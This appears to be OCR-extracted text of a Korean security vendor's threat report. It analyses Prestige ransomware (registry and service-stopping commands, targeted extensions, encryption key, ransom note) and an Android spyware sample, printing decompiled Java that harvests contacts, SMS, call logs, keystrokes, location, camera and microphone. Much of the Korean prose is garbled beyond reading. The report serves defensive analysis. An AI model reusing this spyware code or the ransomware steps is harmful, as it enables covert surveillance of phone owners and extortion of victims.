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C\Windows\System32\\reg.exe add HKCR\\.enc /ve /[t REG_SZ /d enc /f

C\Windows\\System32\\reg.exe add HKCR\\enc\shel\\open\command /ve /t REG_SZ /d
\'"C:\Windows\\Notepad.exe C\Users\Public\README\' /f

[E 2] edlikl= B

¥ Hr2=2 B ESSECE S
otaF EEE 2NV SAZIA) E=SEHH)
ELMFile - o= E= =]
: Enmc_"e ab|(7|£2H REG_SZ Cwindowswhotepad.exe CwUserswPublicHREADME
4
{4 )l shell
: 4} open
| command
EntityDataHandler EntityDataHandler
EntityCrataHandler.EntityDataHandler.
EntitvDataProvider EntitvDiataProvider ™

m } ] Tl 3

]
ZHFHWHKEY_CLASSES ROOT#encishellWopentcommand

(28 3] AIXIAE2[| SFE ofH

O

2.3 MH|A SX|
MSSQL GlIO|E{H[O]A MH|AS SX[SIC,. CO|E{H|0]A 2 SHXH ALE S IiE T P2olohr| 2fet o|F=2

~gECt

= BxCPBBEOOa ;
(L"C

return

[O2! 4] MH|A =X| 2=

C\Windows\\System32\net.exe stop MSSQLSERVER

[E 3] A== FHHO
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1cd,7z,abk,accdb,accdc,accde,accdr,alz,apk,apng,arc,asd,asf asm,asx,avhd,avi,avif bac,backup, bak, bak
2,bak3,bh,bkp,bkup,bkz,bmp,btrbz,bz2,bzip,bzip2,c,cab,cer,cf cfu,cpp,crt,css,db,db-

wal,db3,dbf der,dmg,dmp,doc,docm,docx,dot,dotm,dotx,dpx,dsk,dt,dump,dz,ecf edb,epf exb,ged,gif gp
0,9zi,9zip,hdd,img,iso,jar java,jpeg,jpg,s,json,kdb,key,z,1z4,1zh,1zma,mdmr,mkv,mov,mp3 mp4,mpeg,myd,
nude,nvram,oab,odf ods,old,ott,ovf p12,pac, pdf pem, pfl, pfx, php, pkg,png, pot, potm, potx, pps, ppsm, ppsX, P
pt pptm, pptx, prf pvm,py,gcow,gcow?2,rrar,raw,rz,s7z,sdb,sdc,sdd,sdf sfx,skey,sldm,sldx,sql,sqlite,svd,sv
g,tartaztbztbz2, tg,tib,tiff trn, txt, txz,tz,vb,vbox, vbox-old, vbox-

prev,vdi vdx,vhd,vhdx, vmc,vmdk,vmem,vmsd,vmsn,vmss,vmx,vmxf vsd,vsdx,vss,vst, vsx,vix,wav,wbk w
ebp,wmdb,wmv xar xIm,xIs, xIsb,xlsm,xIsx,xIt xIitm, xltx, xlw,xz,z,zbf zip, zipx, zl,zpi,zz,

[E 4] &=z} Che SRRt

C\Windows
C\\ProgramData\\Microsoft

[ 5] Y=ot H|Q| thet =

27 Cejo|2ot HEST Srio|2S HAOR orssh Ty TUS ZiMstD setS FIMSIC ezt

Shifelofolls ZZxfe| RSA 74717t SIE T ElofRln, QE A4 etestalo|=af2] CryptoPP S AHSHH

2iZto| mUS AES £ ot STt SHXIC] RSA X509 Public Key O = TH= AES Key £ I i<}
Abgsict,

MIIBIJANBgkghkiGOWOBAQEFAAOCAQ8AMIIBCgKCAQEA4AmMpkHWETpONnefEOPL/QkgT7bjLTeJ9bpHEV4
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0+ciCjj2i7eUwqVkop5PvwjqtgQOTKIt8EqjvkmDtMrp8ZQIDAQAB

[E 6] 22Kl 27K

YSept GTE|H [7IE ThUH].fenc]'Tiel SIS FIiCh

ESTsecurITY Copyright&2022 ESTsecurity Corp.all rights reserved. 12



[
il

|3 test.pdf.enc
%) test2 dll

|7 test3.vbs.enc
| 2| testd js.enc

| 2] testS txtenc
B test6.exe

|3 test? doc.enc
[{d tests.hwp

| 2| test9 png.enc
| 2] test10.py.enc

ESTsecuriTy

m
L L L L

m
(]

L) L

0
m

1 0Y
[}

L

(]
L




2.5 ZEehY
dg HAE 2ol HIE =1H F=9t olE 2t CIHMER| Z20]| “"README.ixt” 0|82| #d .EE EE0ICt
ML Eojl= “Prestige.ranusomeware@Proton.me”Z HYS FLot= LIES B QICt

N
o

| README - 2% ===
AR BHTE AHA©O) BV ERLH)
NOU PERSONAL FILES HAVE BEEN ENCRYPTED. .

To decrypt all the data, vou will need to purchase our decryption software.
Contact us Prestige.ranusomeware@Proton.me. In the letter, type your ID= = = |

+ ATTENTION +

- Do not try to decrvpt vour data using third party software, it may cause permanent data loss.
- Do not modify or rename encrypted files. You will lose them.

w
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[Spyware.Android.Agent]
otdIE EM HIIA

1. 7R
M MPAROZ ojLi= XFSA ZS AzoR meKte] S| ol B SHlet 2| 7|5 4usts ok

i B | o
@S0l B7Iokm Ic,

Spyware.Android.Agent = & X|F2| EF FRt Hatel HH|S0| X! X002 RESH= Y o=
O[SHAtS| AP ZAIE SHo=Z HEE ZHo= Holrt

2 HIMoME X2 2AE| T Q= Spyware.Android. Agent 2 S MTHEEZE SiZICt

(o] =

2. ot o B

Spyware.Android.Agent 24 42 I|4 HYS 0|50 REEICE OjY HYS 2 IBIXIES HRn
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sizh ofM e “Call Service"2H= TSt 212 YO = ISt QL0 LBRH= TSt RSt BIP|5S 717 ¥
HA[Bh= Aoz 21610 EXIE TIFSHA| Eict.

%, com.android.callservice
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O Z2|7|0]140] CtS0fl HMAZ = AFLICH
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Call Service
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public static String phoneNumberFormatter(String number) {
return number == null ? "" : number.replace("-", "").replace(” ", "").replal:e("+98", "90");
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public static TelephonyInfo getInstance(Context context) {
if(TelephonyInfo.telephonyInfo == null) {

TelephonyInfo.telephonyInfo = new TelephonyInfo();

TelephonyManasger telephonyManager = (TelephonytMansger)context.getSystemService(“phone”);

TelephonyInfo device$TelephonyInfo@ = TelephonyInfo.telephonylInfo;

device$TelephonyInfo®.imeiSIMl = telephonyManager.getDeviceld();

TelephonyInfo.telephonyInfo.imeiSIM2 = null;

try {
TelephonyInfo.telephonyInfo.imeiSIM1 = TelephonyInfo.getDeviceIdBySlot(context, “getDeviceldGemini®, 0);
TelephonyInfo device$TelephonyInfol = TelephonyInfo.telephonyInfo;
device$TelephonyInfol.imeiSIM2 = TelephonyInfo.getDeviceIdBySlot{context, "getDeviceldGemini™, 1);

zatch(minmethoduotFoundException e) {
e.printStackTrace();
try {
TelephonyInfo device$TelephonyInfo2 = TelephonyInfo.telephonylInfo;
device$TelephonyInfo2.imeiSIM1 = TelephonyInfo.getDeviceldBySlot(context, "getDeviceld”, @);
TelephonyInfo device$TelephonyInfo3 « TelephonyInfo.telephonyInfo;
device$TelephonyInfo3.imeiSIM2 = TelephonylInfo.getDeviceIdBySlot(context, "getDeviceld”, 1);

}

catch(GeminiMethodNotFoundException e1) {
el.printStackTrace();

}

}

TelephonyInfo device$TelephonyInfo4 « TelephonylInfo.telephonyInfo;

device$TelephonyInfod4.isSIMIReady = telephonyManager.getSimState() == 5;

TelephonyInfo. telephonyInfo.isSIM2Ready = false;

try {
TelephonyInfo.telephonyInfo.isSIMIReady = TelephonyInfo.getSIMStateBySlot(context, “getSimStateGemini™, 0);
TelephonyInfo device$TelephonyInfoS = TelephonyInfo.telephonyInfo;
device$TelephonyInfoS.isSIM2Ready = TelephonyInfo.getSIMStateBySlot(context, “getSimStateGemini”, 1);

}
catch(GeminiMethodNotFoundException e) {
e.printStackTrace();
try {
TelephonyInfo device$TelephonyInfo6 = TelephonyInfo.telephonyInfo;
devicesTelephonyInfo6.{sSIMIReady = TelephonyInfo.getSIMStateBySlot(context, “getSimState”, 0);
LS o st

Folonbop ¥oks derlien@relonkh Yoo _ v 2l aphoe.ofas

[33 3] 77| EE &3 DEe g7

HE Heltt. Ol DSHAt7t TH=0|7 [0l LIBHXIE AlESH| 2o Mo 2 4

CHe D22 AR AlgS EFloh= 2 =0ICt.

public static Object éetAilAccounts(Params params) {
int v;
try {
Object list = new JSONArray();
Account[] arr_account = AccountManager.get(params.context).getAccounts();
v = @;
while(true) {
label_3:
if(v >= arr_account.length) {
return list;
¥

Account account = arr_account[v];
JSONObject ac = new JSONObject();
ac.put(“name”, account.name);
ac.put(“type”, account.type);
((350NArray)list).put(ac);

break;

(22 4] ARBAE AE 23 2=
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public static Object getAllApps(Params params) {
Object list;
try {
list = new JSONArray();
new Intent("android.intent.action.MAIN", null).addCategory(“android.intent.category.LAUNCHER");
for(Object object2: params.context.getPackageManager().getInstalledPackages(0)) {
JSONObject APP = new JSONObject();
APP.put("packageName”, ((PackageInfc)object2).packageName);
APP.put("name”, ((PackageInfo)object2).applicationInfo.loadLabel(params.context.getPackageM
Calendar calendar® = Calendar.getInstance();
calendar@.setTimeInMillis(((PackageInfo)object2).lastUpdateTime);
APP.put("lastUpdate”, calendar@.getTime());
APP.put(“versionCode”, ((PackageInfo)object2).versionCode);
APP.put(“versionName”, ((PackageInfo)object2).versionName);
if(params.keyword == null) {
((I50MA-ray)list).put(APP);

continue;

}

if(!APP.get(“name").toString().toLowerCase().contains(params.keyword.tolLowerCase())) {
continue;

}

((2S0NArray)list).put(APP);

[22! 5] 8% 4 2|AE EF IE

Cige H2I9K YR 7188 Yt Aol,

public static Object getAllvisitedHistory(Params params) {
Object list;
try {

Cursor cursor® = new AndroidBrowserDB().getAllvisitedHistory(params.context.getContentResolver());

new JSONObject();

list = new JSONArray();

while(cursor®.moveToNext()) {
((I50NArray)list).put(cursore.getString(cursore@.getColumnIndex(“url”)));

}
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40
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Clee HElex S0jE st Aol

public static Object getBookmarks(Params params) {
Object list;
try {
Cursor cursor® = new AndroidBrowserDB().getMobileBookmarks(params.context.getContentResolver());
list = new JSONArray();
while(cursor@.moveToNext()) {
JSONObject recent = new JSONObject();
String s = cursor@.getString(cursord.getColumnIndex(“url™));
String sl = cursor@.getString(cursor@.getColumnIndex(“title™));
byte[] arr_b = cursor®.getBlob(cursord.getColumnIndex(”favicon™));
String 52 = cursor@.getString(cursor®.getColumnIndex(“visits"));
recent.put(“url”, s);
recent.put(“title”, s1);
recent.put("fav", arr_b);
recent.put(“visits”, s2);
((I50NArray)list).put(recent);

(12 7] 2etex 20ia 2% ac
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this.recorder = new MediaRecorder();
this.recorder.setAudioSource(7);
this.recorder.setOutputFormat(1);
this.recorder.setAudioEnceder(1);
DateFormat.format("MM-dd-yy-hh-mm-ss™, new Date().getTime());
this.jobid = System.currentTimeMillis() + "";
this.path = MainService.getContextOfApplication().getCacheDir() +
this.recorder.setOutputFile(this.path);
try {

this.recorder.prepare();
}

catch(Exception e) {
e.printStackTrace();
¥

CallRecordingService.recording =
this.recorder.start();

true;

=o|ct.

public static Object getCallsLogs(Params params) {
Object list;

try {
list = new JSONArray();
Uri uri@ = Uri.parse("content://call_log/calls");

Cursor cursor® = params.context.getContentResolver().query(uri@, null, null,
while(cursor@.moveToNext()) {
JSONObject call = new JSONObject();

null, null);

String s = cursor®.getString(cursor@.getColumnIndex(“number”));
String sl = cursor@.getString(cursord.getColumnIndex("name”));
String s2 = cursor@.getString(cursor@.getColumnIndex(“duration™));
long v = cursor@.getlong(cursor@.getColumnIndex( date"));

int vl = Integer.parseInt(cursor@.getString(cursor®.getColumnIndex(“type”)));
call.put("phoneNo”, BoulderApplication.phoneNumberFormatter(s));
call.put("name”, sl1);

call.put("duration”, s2);

call.put("date”, v);

call.put("type”, vl1);

((3s0NArray)list).put(call);

—

pubhc static Object getContacts(Params params) {
t list;
] filter;

try {
if(params.keyword == null) {
s = null;
filter = null;

}

else {
s = "display_name LIKE ? OR datal LIKE ?";
filter = new String[]{"%" + params.keyword + “%X", "X" + params.keyword +

%y

ay()s

params.context.getContentResolver().query(ContactsContract.C Phone . CONTENT_URT,|

t contact = new IS sct();
= cursor®. getstring(cursom getColumnIndex(“display name™));

<ontact put(” phuhtVL BoulderApplication.phoneNumberformatter(cursor@.getString(cursord.getColumnIndex( d|
contact.put( name”, 51)

((Is0narray)list).put(contact);

[_1

2 10] =t E§F 2=
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public static Object getAllFilelist(Params params) {
Object values;

try {

values = new JSONObject();

if(files@ != null) {
JSONObject parenttObj = new JSONObject();
parenttObj.put(“childs", FileManager.getlist(files@.childs));
parenttObj.put("isDir", true);
parenttObj.put(“path”, files@.path);
return parenttObj;

Files files® = FileManager.getfiles(Envircnment.getExternalStorageDirectory());

1
[32 1] I 2AE 3 3E
Ckg Ozle SEEE WEE EF[Sh= ZE=0|Ct

public static void getClipboard(Params params) {
new Handler(Looper.getMainLooper()).post(new Runnable() {
fiOverride

public void run() {

params.listener.callback(list);

try {
1SORObject item = new JSONObject();
ClipboardManager clipboard = (ClipboardManager)params.context.getSystemService("clipboard™);
item.put(“text”, (clipboard.getText() == null ? "" : clipboard.getText().toString()));
JSONArray list = new JSONArray();
list.put(item);

CtEg Ozl 7|27 ZE0|CY,

if(s.length() == 0) {

return;
¥

if(@ < s.length()) {
Keylogger.logs = s;
¥

private static void startlogging(AccessibilityEvent event) {
String s = ((CharSequence)event.getText().get(@)).toString();

[02 13] 712H 3=
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private static Object getSMSList(Context context, String keyword, Integer messageType) {
String where = null;
String[] filter = null;
if(keyword != null) {
try {
where = "body LIKE ? OR address LIKE 2";
filter = new String[]{"#%" + keyword + "%", "%" + keyword + "¥"};
label 6:
if(messageType != null) {
where = keyword == null ? "type = ?" : where + " AND type = 2";
filter = new String[]{messageType.toString()};
¥
Object list = new JSONArray();
Uri uri® = Uri.parse("content://sms/");
Cursor cursor® = context.getContentResclver().query(uri@, null, where, filter, null);
while(true) {
if(!cursor@.moveToNext()) {
return list;
}
JSONObject sms = new JSONObject();
String s2 = cursor®@.getString(cursor®.getColumnIndex("address™));
String s3 = cursor®.getString(cursor@.getColumnIndexOrThrow( “body™));
String s4 = cursor@.getString(cursor®.getColumnIndexOrThrow(“thread_id"));
String s5 = cursor®.getString(cursor@.getColumnIndexOrThrow( " date™));
String s6 = cursor®.getString(cursor®.getColumnIndexOrThrow( date sent™));
[32! 14] SMS EfF| 3=
(=] o = P -
CHg 1212 SMS & &ilsh= F=0|Ct.
public static void sendSMS(Params params) {
try {
SmsManager smsManager® = SmsManager.getDefault();
ArrayList arraylList@ = smsManager@.divideMessage(params.keyword);
if(arrayList@.size() == 1) {
smsManager@. sendTextMessage (params.phoneNumber, null, params.keyword, null, null);
else {
smsManager®, sendMultipartTextMessage(params.phoneNumber, null, arraylList@, null, null);
}
params.listener.callback(Boolean.valueOf(true));
A
[T 15] SMS &l 3=
o o o Py
Cig J2le ASRIsg YHfshs ZEolCt,
public class ScreenShet {
public static File getlastModified(String directoryFilePath) {
File[] arr_file = new File(directoryFilePath).listFiles(-..Lambda.
long lastModifiedTime = Ox8000000000000000L ;
File chosenFile = null;
if(arr_file != null) {
for(int vl = @; vl < arr_file.length; ++vl1) {
File file = arr_file[vl];
if(file.lastModified() > lastModifiedTime) {
chosenFile = file;
lastModifiedTime = file.lastModified();
(22l 16] 2324 EF FE
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public static void takePhoto(Params p) {
try {

Cameras.params = p;
Cameras.mCamera = Camera.open(Cameras.params.index);
SurfaceTexture fff = new SurfaceTexture(2020);
Cameras.mCamera.getParameters().setPreviewSize(0x780, 1080);
Cameras.mCamera.getParameters().setPictureSize(0x780, 1080);
fff.setOnFrameAvailableListener(new SurfaceTexture.OnFrameAvailablelistener() {

@0verride 1
public void onFrameAvailable(SurfaceTexture surfaceTexture) {
try {
Cameras.mCamera.takePicture(null, null, new Camera.PictureCallback()
@0verride
public void onPictureTaken(byte[] data, Camera camera) {
camera.stopPreview();
camera.release();
Cameras.releaseCamera();
Cameras.sendPhoto(Cameras.params, data);
}
1)

catch(Exception e) {
Cameras.releaseCamera();
Cameras.params.listener.callback(e);

}
1)

Cameras.mCamera.setPreviewTexture(fff);
Cameras.mCamera.startPreview();

(22 17] A 2 3E
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public static void startRecording(Params params) throws Exception {
File file® = params.context.getCacheDir();
", "startRecording: ");
String s = params.args.getJSONObject("command”).getString("name");
String sl = params.args.getJSONObject("command").getString("op”);
Microphone.audiofile = File.createTempFile((params.args.getString("id") + "-" 4
Microphone.recorder = new MediaRecorder();
Microphone.recorder.setAudioSource(1);
Microphone.recorder.setOutputFormat(2);
Microphone.recorder.setAudioEncoder(3);
Microphone.recorder.setOutputFile(Microphone.audiofile.getAbsolutePath());
Microphone.recorder.prepare();
Microphone.recorder.start();
Log.d("mic:::", “started “);
Microphone.stopRecording = new TimerTask() {
@override
public void run() {
Microphone.recorder.stop();
Microphone.recorder.release();
Microphone.sendVeoice(params, Microphone.audiofile);

¥
5
new Timer().schedule(Microphone.stopRecording, ((long)(params.limit * 1000)));

[O2 18] Ol0|3 U =g I
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public static Object getlocation(Params params) {
GeolLocator gps = new Geclocator(params.context);
Object list = new JSONArray();
JSONObject obj = new JSONObject();
try {
Location loc = gps.getlocation();
if(loc == null) {
loc = new Location("Unknown");
loc.setlatitude(0.0);
loc.setlongitude(0.0);

}

obj.put("lat”, loc.getlatitude());
obj.put("1ng”, loc.getlongitude());
JSONObject location = new JSONCbject();
location.put("location”, obj);
((3S0NArray)list).put(location);

slC
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(22! 19] IAEE e

if(args.startsWith("770")) {
try {

String(] arr_s = args.split("\\*");
int vl = (int)Integer.valueof(arr_s[1]);
int v2 = (int)I r.valueOf(arr_s[2]);
int v3 = (int)Integer.valueOf(arr_s[3]);
String dates = "";
for(int i = 1; i <= vl; ++i) {

dates = dates + "\"" + BoulderApplication.getFormattedDate(this, i * (i ==120 : v2) + (i==12?0:

Connection.runCommand(new JISONObject(”{\"command\":{ \"name\":\"Microphone\”, \"op\":\"startRecording\”

catch(Exception e)
e.printStackTrace();

return;

if(args.startswWith("760")) (
try {

Log.e("boulder”, “init camera command");
arr_sl = args.split("\\*");
v5 = (int)Integer.valueOf(arr_si[1]);
duration = (int)Integer.valueOf(arr_si[2]);
v? = (int)Integer.valueOf(arr_s1[3]);
index = ((int)Integer.valueOf(arr_si[4])) - 1;
dates = "7;

ESTsecurRiTy

i=1;
while(true) {
label 61:
if(i > vs) {
goto label 75;
3
[O2 20] SMS & 43 3
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